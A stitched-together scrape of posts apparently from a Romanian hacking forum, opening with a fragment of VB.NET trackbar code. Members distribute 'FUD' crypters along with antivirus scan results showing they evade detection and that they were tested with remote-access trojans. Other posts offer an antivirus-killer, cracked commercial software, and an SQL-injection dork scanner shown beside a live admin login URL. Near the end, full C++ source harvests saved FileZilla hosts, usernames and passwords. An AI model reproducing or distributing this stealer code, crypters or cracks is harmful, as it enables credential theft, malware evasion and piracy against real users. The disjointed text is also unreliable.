PaintEventArgs) MyBase.OnPaint(e) Dim channelBounds As Rectangle If Me.Horizontal Then channelBounds = New Rectangle(6, Me.Height / 2 - 2, Me.Width - 16, 4) Else channelBounds = New Rectangle(Me.Width / 2 - 2, 6, 4, Me.Height - 16) End If ControlPaint.DrawBorder3D(e.Graphics, channelBounds, Border3DStyle.Sunken) Using brush As SolidBrush = New SolidBrush(Color.FromArgb(60, 60, 60)) If (ThumbDragging) Then brush.Color = Color.FromArgb(75, 75, 75) End If e.Graphics.FillRectangle(brush, Me.Thumb) e.Graphics.DrawRectangle(Pens.Black, Me.Thumb) End Using If (Me.Focused AndAlso Me.ShowFocusCues) Then ControlPaint.DrawFocusRectangle(e.Graphics, Me.ClientRectangle) End If End Sub Protected Overrides Sub OnGotFocus(ByVal e As EventArgs) MyBase.OnGotFocus(e) _thumbFocused = (Me.Focused AndAlso Me.ShowFocusCues) Me.Invalidate() End Sub Protected Overrides Sub OnLostFocus(ByVal e As EventArgs) MyBase.OnLostFocus(e) _thumbFocused = (Me.Focused AndAlso Me.ShowFocusCues) Me.Invalidate() End Sub Protected Overrides Function IsInputKey(ByVal keyData As Keys) As Boolean Select Case (keyData) Case Keys.Up, Keys.Down, Keys.Left, Keys.Right Return True Case Else Return MyBase.IsInputKey(keyData) End Select End Function Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) MyBase.OnMouseDown(e) If (e.Button = MouseButtons.Left) Then ThumbDragging = Thumb.Contains(e.Location) End If End Sub Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) MyBase.OnMouseUp(e) ThumbDragging = False End Sub Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) MyBase.OnMouseMove(e) If (ThumbDragging) Then Me.Value = ValueFromPoint(e.Location) End If End Sub Protected Overrides Sub OnVisibleChanged(ByVal e As EventArgs) MyBase.OnVisibleChanged(e) If (Me.Visible) Then Me.LayoutTrackBarParts() End If End Sub Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) MyBase.OnSizeChanged(e) Me.LayoutTrackBarParts() End Sub Protected Overridable Sub OnScroll(ByVal e As EventArgs) RaiseEvent Scroll(Me, e) End Sub Protected Overridable Sub OnValueChanged(ByVal eventArgs As EventArgs) RaiseEvent ValueChanged(Me, eventArgs) Me.LayoutTrackBarParts() Me.OnScroll(eventArgs) Me.Invalidate() End Sub Private Sub LayoutTrackBarParts() If Me.Horizontal Then Thumb.Size = New Size(14, 28) Else Thumb.Size = New Size(28, 14) End If Dim channelLength As Single If Me.Horizontal Then channelLength = Me.Width - 26 Else channelLength = Me.Height - 26 End If Dim stepCount As Single = (Me.Maximum - Me.Minimum) Dim stepSize As Single If stepCount > 0 Then stepSize = channelLength / stepCount Else stepSize = 0 End If Dim thumbOffset As Single = (stepSize) * (Me.Value - Me.Minimum) If Me.Horizontal Then Thumb.Location = Point.Round(New PointF(6 + thumbOffset, Me.Height / 2 - 14)) Else Thumb.Location = Point.Round(New PointF(Me.Width / 2 - 14, channelLength - thumbOffset + 6)) End If End Sub Private Function ValueFromPoint(ByVal point As Point) As Int32 Dim channelLength As Single If (Me.Horizontal) Then channelLength = Me.Width - 26 ' Channel Left margin + Channel Right margin + Thumb.Width Else channelLength = Me.Height - 26 ' Channel Top margin + Channel Bottom margin + Thumb.Height End If Dim stepCount As Single = (Me.Maximum - Me.Minimum) Dim stepSize As Single = 0 If (stepCount > 0) Then stepSize = channelLength / stepCount End If If (Me.Horizontal) Then point.Offset(-7, 0) Return (point.X / stepSize) + Me.Minimum End If point.Offset(0, -7) Return Me.Maximum - (point.Y / stepSize) + Me.Minimum End Function End Class

CE versiune ai pus de linux? 32? 64? la 64 merge sigur, pe 64 mai face figuri, as o gramada se soluti, in caz ca nu gasesti, spune ca te ajutam

exact asa cum zice si titlul, cum poti sa duci in erroare un chinez, in romania, avand in vedere, ca limba lor e prea, dura pentru a invata, mam gandit sa ai derutam si pe ei:) cum? simplu, cu PAI CEAI ce Inseamna pai ceai ? simplu PUI PAIUL SI SUGI CEAIUL

e cryptata arhiva RAR cu Sine256 , SI NU E DEFECTA!

Fichero: stub.exe Tamaño: 39505 Bytes MD5: 7ea3cdbab1813a7a7795d27c1bad355e SHA-1: 4b4492bb592de4df8108d571119cb53d6c013245 Detecciones: AVG Free - OK ArcaVir - OK Avast 5 - OK AntiVir (Avira) - OK BitDefender - OK VirusBuster Internet Security - OK Clam Antivirus - OK COMODO Internet Security - OK Dr.Web - OK eTrust-Vet - OK F-PROT Antivirus - OK F-Secure Internet Security - OK G Data - OK IKARUS Security - OK Kaspersky Antivirus - OK McAfee - OK MS Security Essentials - OK ESET NOD32 - OK Norman - OK Norton Antivirus - OK Panda Security - OK A-Squared - OK Quick Heal Antivirus - OK Rising Antivirus - OK Solo Antivirus - OK Sophos - OK Trend Micro Internet Security - OK VBA32 Antivirus - OK Vexira Antivirus - OK Zoner AntiVirus - OK Ad-Aware - OK BullGuard - OK Immunet Antivirus - OK K7 Ultimate - OK VIPRE - OK Fichero: spy-net.exe Tamaño: 322164 Bytes MD5: 160a940640e37b742215d9e52aabfaa2 SHA-1: aff12d1b709894b9b54ca8a32444e9646f8990b1 Detecciones: AVG Free - OK ArcaVir - OK Avast 5 - OK AntiVir (Avira) - OK BitDefender - OK VirusBuster Internet Security - OK Clam Antivirus - OK COMODO Internet Security - OK Dr.Web - OK eTrust-Vet - OK F-PROT Antivirus - OK F-Secure Internet Security - OK G Data - OK IKARUS Security - OK Kaspersky Antivirus - OK McAfee - OK MS Security Essentials - OK ESET NOD32 - OK Norman - OK Norton Antivirus - OK Panda Security - OK A-Squared - OK Quick Heal Antivirus - OK Rising Antivirus - OK Solo Antivirus - OK Sophos - OK Trend Micro Internet Security - OK VBA32 Antivirus - OK Vexira Antivirus - OK Zoner AntiVirus - OK Ad-Aware - OK BullGuard - OK Immunet Antivirus - OK K7 Ultimate - OK VIPRE - OK cryptat rar = sine256. Rc4(MAN) - triple Des 0Z4mKmh6BJ99YV+DXwykAXsc/Z5/tYqgyqnqYShJlX1SMo0BQ2Owaw== Download SUPER HEROES.v2 CRYPTER .rar from Sendspace.com - send big files the easy way merita un like

cat dai? zi un pret, incat sa ma zguduie:)

tu vezi ora si minuta de la scan? uitate cand lam scanat, si cu parola pe liber, ce te astepti? la miracole:) asemenea sa traim cu totii !

azi lam lasat asa, maine al voi cripta, dar merita membri un crypter bun, din partea forumului RsT.. @SLAKER nu-i prymul crypter si sa speram nici ultimul:)

download : Download fud.rar from Sendspace.com - send big files the easy way password : indetectables ENJOY Report date: 2012-08-29 03:07:40 (GMT 1) File name: sb-exe File size: 542731 bytes MD5 hash: 74bedd68b8ece393daf18538be68f8d7 SHA1 hash: 90c8f94ac0ae1dc232442bb6566b4546277ad289 Detection rate: 0 on 14 (0%) Status: CLEAN E fud ! edit // am schimbat scanul ca mam grabit la scan si am scanat crypter exe, si nu am scanat sb.exe e curat si merge bine, profitati si comentati sa vedem cat va tine. nici un multumesc, nici un mersi pentru un crypter FUD, PACAT !

What Is CliSecure? CliSecure is a powerful code protection tool that secures .NET applications from being tampered by a third party. It's unique in its protection strategy compared with other code protection tools, which encrypt a whole assembly that gets decrypted at runtime. They often wrap the entry point assembly (that is the one containing the entry point of the application) with a native image loader. Metadata information such as class, method names and other symbol information is not visible and can't be viewed using standard .NET tools. Evidently, the .NET framework understands only assemblies that comply with the CLI (common language infrastructure) standard. This means that eventually the code has to be deciphered in order for the .NET runtime to execute it. Once the application is executed the code gets decrypted by the native image loader and it resides in-memory in its decrypted form, now it is ready for the .NET runtime to work against. This raises a factor that most code protection tools fail to cope with. Once the code is deciphered it's completely exposed to prying eyes of a potential hacker in-memory, because the entire assembly loads into memory in its MSIL form. This poses a security threat since once the assembly loads in-memory it can be dumped to a file using standard memory dump tools. CliSecure never keeps your MSIL code decrypted at runtime, it binds to the jitter and hands it the code for execution just before compilation occurs. The execution engine assures that at most a single method will reside in memory in its decrypted form in any given time. This makes it impossible to reconstruct your original assembly by using memory dump tools. Our tool doesn't use a native image loader that wraps around the entry assembly, this is why you can use it to deploy ASP.NET web based applications. Metadata information remains intact and can be viewed using standard .NET tools. This makes our tool perfect for distributing 3rd party library components. On top of that CliSecure lets you obfuscate your metadata information, if you decide to do so. The obfuscation process renames metadata symbols (class, interface, field and method identifiers) to render them meaningless, and strips all unnecessary information (local variable, method parameter names, debug information and some metadata) from your .NET assemblies. This feature is offered for free and is included in the trial version of the product. . download : Zippyshare.com - Crack [ clisecureinstaller 6.0.0.2 ]0.rar Pass: level-23.biz sursa : CliSecure v6.0.0.2 CRACKED edit// virustotal : SHA256: 2813fdb54b747eeb96e08179f23b0b6d82e2c7532ed3bcab1b990c4babc12ed3 SHA1: 553e3032726010d86b976f90c3aaa056fb5ee8f4 MD5: c507f3c37098f10679cae6095cad2df7 Tamaño: 12.0 MB ( 12585232 bytes ) Nombre: clisecureinstaller.exe Tipo: Win32 EXE Detecciones: 1 / 42 Fecha de análisis: 2012-08-29 17:29:21 UTC ( hace 1 minuto ) https://www.virustotal.com/file/2813fdb54b747eeb96e08179f23b0b6d82e2c7532ed3bcab1b990c4babc12ed3/analysis/1346261361/

Visual Studio Ultimate 2012 es la solución de desarrollo de vanguardia que permite a los equipos de todos los tamaños diseñar y crear aplicaciones atractivas del gusto de los usuarios. Las herramientas de planeación ágiles y flexibles, como planeación de la capacidad, paneles de tareas y administración de trabajos pendientes, le permiten usar técnicas de desarrollo incremental y metodologías ágiles a su propio ritmo. Utilice herramientas avanzadas de modelado, detección y arquitectura para describir su sistema y asegurase de que se conserva su visión de la arquitectura en la implementación. Aúne equipos de desarrollo y operaciones mediante el uso de IntelliTrace en producción, Conector de Operations Manager y Preemptive Analytics. Mejore la calidad y reduzca el tiempo de resolución generando errores interactivos del software implementado, y trabaje eficazmente con el equipo de operaciones para proporcionar datos que ofrezcan a los desarrolladores una perspectiva más amplia de los problemas de producción. En definitiva, puede crear soluciones innovadoras de gran calidad aunque reduzca el costo de la implementación. 2 link downloand : http://freakshare.com/files/qvvyhyvx...part1.rar.html http://freakshare.com/files/bl8ywr7y...part2.rar.html 1 link Download es_vsul_2012x86.part1.rar - BitShare.com - Free File Hosting and Cloud Storage edit// em nu am gasit, am gasit doar in spañola:( fi sigur ca daca gaseam in romana sau engleza al puneam, ca am citit regulamentul bine, lam postat pentru pentru cas persoane ce inteleg si spañola bine deja, si e de mare folos.

decryptati pe baza de 64 decode ! SuperSurf - ADSL e telefono senza limiti, per la tua azienda edit// cred ca el nu stie ce vrea, de acolo, sau doar sa le faca rau, ca alta cale nu vad, normala @cryszone editeaza postul nu le dubla, ca te vor avertiza!dai la EDIT

cauta pe google, = taringa password + windows+xp sau dezactiveaza parolele din bios

Ronda Ocx 2011 K&JR ***8211; Última Actualización [instalador de OCX] https://rapidshare.com/#!download|619p6|409500658|RondaOcx2011_K_JR_Instalador.exe|32455|0|0 Mejoras de la reciente versión del instalador de ocx ***8217; Ronda 2011 ***8216; * Añadido soporte de instalación multilenguaje ***8211; ( 22 idiomas ) * * Setup aligerado en más de 11 Mb * * Minimizado automático del Gestor Ocx al hacer uso del Registrador Ocx Dll ( manual )desde el Panel Propiedades del Instalador de ocx ***8216; Ronda Ocx ~ 2011 · K&JR ***8216; Instala 81 componentes OCX + 2 DLL ( Detalles en la información del asistente de Instalación ) Nota : Instala Codejo~3.ocx , pero no se muestra en el Gestor Ocx. Grupo de Accesos Directos: Inicio/Todos los programas/Ronda Ocx ~ 2011 ( Detalles de los Accesos Directos desde los cuales podemos ejecutar independientemente cada aplicación ) Inicio > Panel de control > Cuentas de usuario > Activar o desactivar el control de Cuentas de usuario***8230; y desmarquen la casilla : ***8221; Usar el control de Cuentas de usuario UAC ***8220; sursa :Ronda Ocx 2011 K&JR (Instalador de OCX) e in spañola

este postat de jimmy, pe forum descarcal

default key:)

nu cred ca are timp sa incerce si apropo nu-l scanati pe VT virus total, multumesc!

Test S.O. XPSP3, VISTA Y SEVEN Test Rat. CIBERGAY 1.07.5, XTREME 1.1 Y SPYNET 2.5 Novirusthanks : Report date: 2012-08-28 14:56:12 (GMT 1) File name: dodge-viper-crypter-100-fud-by File size: 454457 bytes MD5 hash: 35f80627cae9e1521bd99cded9570908 SHA1 hash: 71b7492deefb674dec9fcd70f90540f49ec004fc Detection rate: 0 on 14 (0%) Status: CLEAN Multi-Engine Antivirus Scanner - Services - NoVirusThanks.org download : Download Dodge Viper Crypter 100% FUD by elkuki1981.rar from Sendspace.com - send big files the easy way si parola in winrrar cu tot cu numele cryptatieii sa vedem primul coment in cat timp decrypteaza imi place la nebunie parola asta:)) Si lo has descargado comenta cabronazo... edit// Report date: 2012-08-28 16:12:12 (GMT 1) File name: stub-exe File size: 48332 bytes MD5 hash: 8b270901ee1c4e143a9672629a2c46eb SHA1 hash: 272c509e24352c00f957edb6e11e172cdd459942 Detection rate: 3 on 14 (21%) Status: INFECTED Antivirus Database Engine Result Asquared 16:12:12 5.1.0.3 Trojan.Crypt!IK Avast 16:12:12 5.0 AVG 16:12:12 10.0.0.1190 Avira 16:12:12 7.11.7.12 BitDefender 16:12:12 7.0.0.2555 ClamAV 16:12:12 0.97.4 Comodo 16:12:12 1.0 DrWeb 16:12:12 5.0.2 Fprot 16:12:12 6.0 IkarusT3 16:12:12 T31001097 Trojan.Crypt Panda 16:12:12 10.0.3.0 STOPZilla 16:12:12 5.0.0.0 TrendMicro 16:12:12 9.200.0.1012 PAK_Generic.006 VBA32 16:12:12 3.12.0.300 Extra information File type: Executable File (EXE) Packer: Nothing found Binder detector: Nothing found PDF analyzer: Nothing found deja lau bubuit

Index of /members

Slacker, esti cumva iepure?sau ce vrei sa zici cu asta? ca nu inteleg, de meserie as trantor

// ***************************************************************************** // * CPP: CPP_GetFileZillaAccounts // * AUTOR: Fakedo0r .:PD-TEAM:. // * FECHA: 27.08.2012 // * CORREO: Luvel88@gmail.com // * BLOG: Sub-Soul.blogspot.com / Sub-Soul.com // * REQUERIMIENTOS: Librerias Estandar EMBARCADERO XE2 // ***************************************************************************** // ***************************************************************************** // <--- #INCLUDE ---> // ***************************************************************************** #include "CPP_GetFileZillaAccounts.h" #include <Shlobj.h> #include <System.hpp> #include <SysUtils.hpp> #include <StrUtils.hpp> #include <vector> // ***************************************************************************** // <--- DECLARACION DE FUNCIONES / PROCEDIMIENTOS ---> // ***************************************************************************** Boolean IsFileExists(String sFile); String ReadFileAPI(String sFile); String GetSpecialFolderAPI(int iCSDL); String ByteArrayToString(std::vector<Byte>vbArray); String StrCenter(String sCadena, String sDel_1, String sDel_2); std::vector<String>GetFileZilaAccounts(String sSepInt); std::vector<String>Split(String sCadena, String sDelimitador); // ***************************************************************************** // <--- RECUPERA LAS CUENTAS DE FILEZILLA ---> // ***************************************************************************** std::vector<String>GetFileZilaAccounts(String sSepInt) { int I; String sPath; String sHost; String sUser; String sPass; String sAccounts; std::vector<String>vsAcoounts; std::vector<String>vsTemp; sPath = GetSpecialFolderAPI(CSIDL_APPDATA) + "\FileZilla\recentservers.xml"; if (IsFileExists(sPath) == false) { exit; } sAccounts = ReadFileAPI(sPath); sAccounts = StrCenter(sAccounts, "<RecentServers>", "</RecentServers>"); vsAcoounts = Split(sAccounts, "<Server>"); for (I = 1; I < vsAcoounts.size(); I++) { sHost = StrCenter(vsAcoounts[I], "<Host>", "</Host>"); sUser = StrCenter(vsAcoounts[I], "<User>", "</User>"); sPass = StrCenter(vsAcoounts[I], "<Pass>", "</Pass>"); vsTemp.push_back(sHost + sSepInt + sUser + sSepInt + sPass); } return vsTemp; } // ***************************************************************************** // <--- OBTIENE RUTAS ESPECIALES ---> // ***************************************************************************** String GetSpecialFolderAPI(int iCSDL) { wchar_t pszPath[MAX_PATH]; ITEMIDLIST * tIDL; HRESULT hRet = SHGetSpecialFolderLocation(0, iCSDL, &tIDL); if (hRet != NOERROR) { return 0; } SHGetPathFromIDList(tIDL, pszPath); return String(pszPath); } // ***************************************************************************** // <--- COMPRUEBA SI EL FICHERO EXISTE ---> // ***************************************************************************** Boolean IsFileExists(String sFile) { HRESULT hRes = GetFileAttributes(sFile.w_str()); if (hRes == INVALID_FILE_ATTRIBUTES) { return false; } else { return true; } } // ***************************************************************************** // <--- LECTURA ---> // ***************************************************************************** String ReadFileAPI(String sFile) { DWORD dwRet = 0; int iSize = 0; HANDLE hFile; std::vector<Byte>vbBuffer; hFile = CreateFile(UnicodeString(sFile).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return 0; } iSize = GetFileSize(hFile, 0); vbBuffer.resize(iSize); SetFilePointer(hFile, 0, NULL, FILE_BEGIN); ReadFile(hFile, &vbBuffer[0], iSize, &dwRet, NULL); CloseHandle(hFile); return ByteArrayToString(vbBuffer); } // ***************************************************************************** // <--- CONVIERTE ARRAY DE BYTES EN STRING ---> // ***************************************************************************** String ByteArrayToString(std::vector<Byte>vbArray) { String sResult; Integer I; sResult.SetLength(vbArray.size()); for (I = 0; I < vbArray.size(); I++) { sResult[I + 1] = vbArray[I]; } return sResult; } // ***************************************************************************** // <--- SPLIT ---> // ***************************************************************************** std::vector<String>Split(String sCadena, String sDelimitador) { int I; std::vector<String>vsTemp; for (I = 0; I < sCadena.Length(); I++) { if (Pos(sDelimitador, sCadena) == 0) { vsTemp.push_back(MidStr(AnsiString(sCadena), 1, sCadena.Length())); return vsTemp; } else { vsTemp.push_back(MidStr(AnsiString(sCadena), 1, Pos(sDelimitador, sCadena) - 1)); sCadena = MidStr(AnsiString(sCadena), vsTemp[I].Length() + sDelimitador.Length() + 1, sCadena.Length() - sDelimitador.Length()); } } return vsTemp; } // ***************************************************************************** // <--- OBTIENE LA CADENA CENTRAL ---> // ***************************************************************************** String StrCenter(String sCadena, String sDel_1, String sDel_2) { String sTemp; sTemp = MidStr(AnsiString(sCadena), Pos(sDel_1, sCadena) + sDel_1.Length(), sCadena.Length() - Pos(sDel_2, sTemp)); sTemp = MidStr(AnsiString(sTemp), 1, AnsiPos(sDel_2, sTemp) - 1); return sTemp; }

An automation tool to scan for an Sql Injection vulnerability. Description SQLI Hunter is an automation tool to scan for an Sql Injection vulnerability in a website. It automates the search of sqli vulnerable links from Google using google dorks! SQLI Hunter can also find admin page of any website by using some predefined admin page lists. Fast and Easy to use ! ================ Coded By MAK ================ download : Download SQLI Hunter v1.1 from SourceForge.net http://siam-indo.com/admin/login.php

edit // asta al am si eu si merge super bine, si nu cere nici parola super bun

downloand : Download ByeAvira by yorll.rar from Sendspace.com - send big files the easy way link-ul modificat, si tutorialul Pass: level-23.biz daca va ajuta, sursa : ByeAvira by yorll sare : tr/Drooper.Gen Déficille cred ca e ceva nenregula, rog un admin sa arunce o privire mai profunda, rulati in virtualbox

1. Application: phpDesigner 7.2.5 Url:phpDesigner 8 - All-In-One PHP IDE & PHP Editor & HTML5 Editor & Web Editor | MPSOFTWARE Operating system: Windows XP/Vista/7 App language: English 2. Type of release: Patch Released at: 02/05/2012 App. type:Trial Cr@ck3d by: kruzco 3. Install Program. * Copy the Patch file to installtion Direction * Run the Patch * Press Patch button phpDesigner 7.2.5 is more than just a powerful and lightning fast PHP IDE and PHP EDITOR - it's also a full-featured HTML-, CSS- and JavaScript editor boosted with features so you can get your work done--for both beginners and professional developers. phpDesigner assists you with everything from editing, analyzing, debugging to publishing websites powered by PHP, HTML, CSS to JavaScript plus other languages. download : http://freakshare.com/files/cctsl2a0/PHP.Designer.7.2.5.Full.rar.html reupload.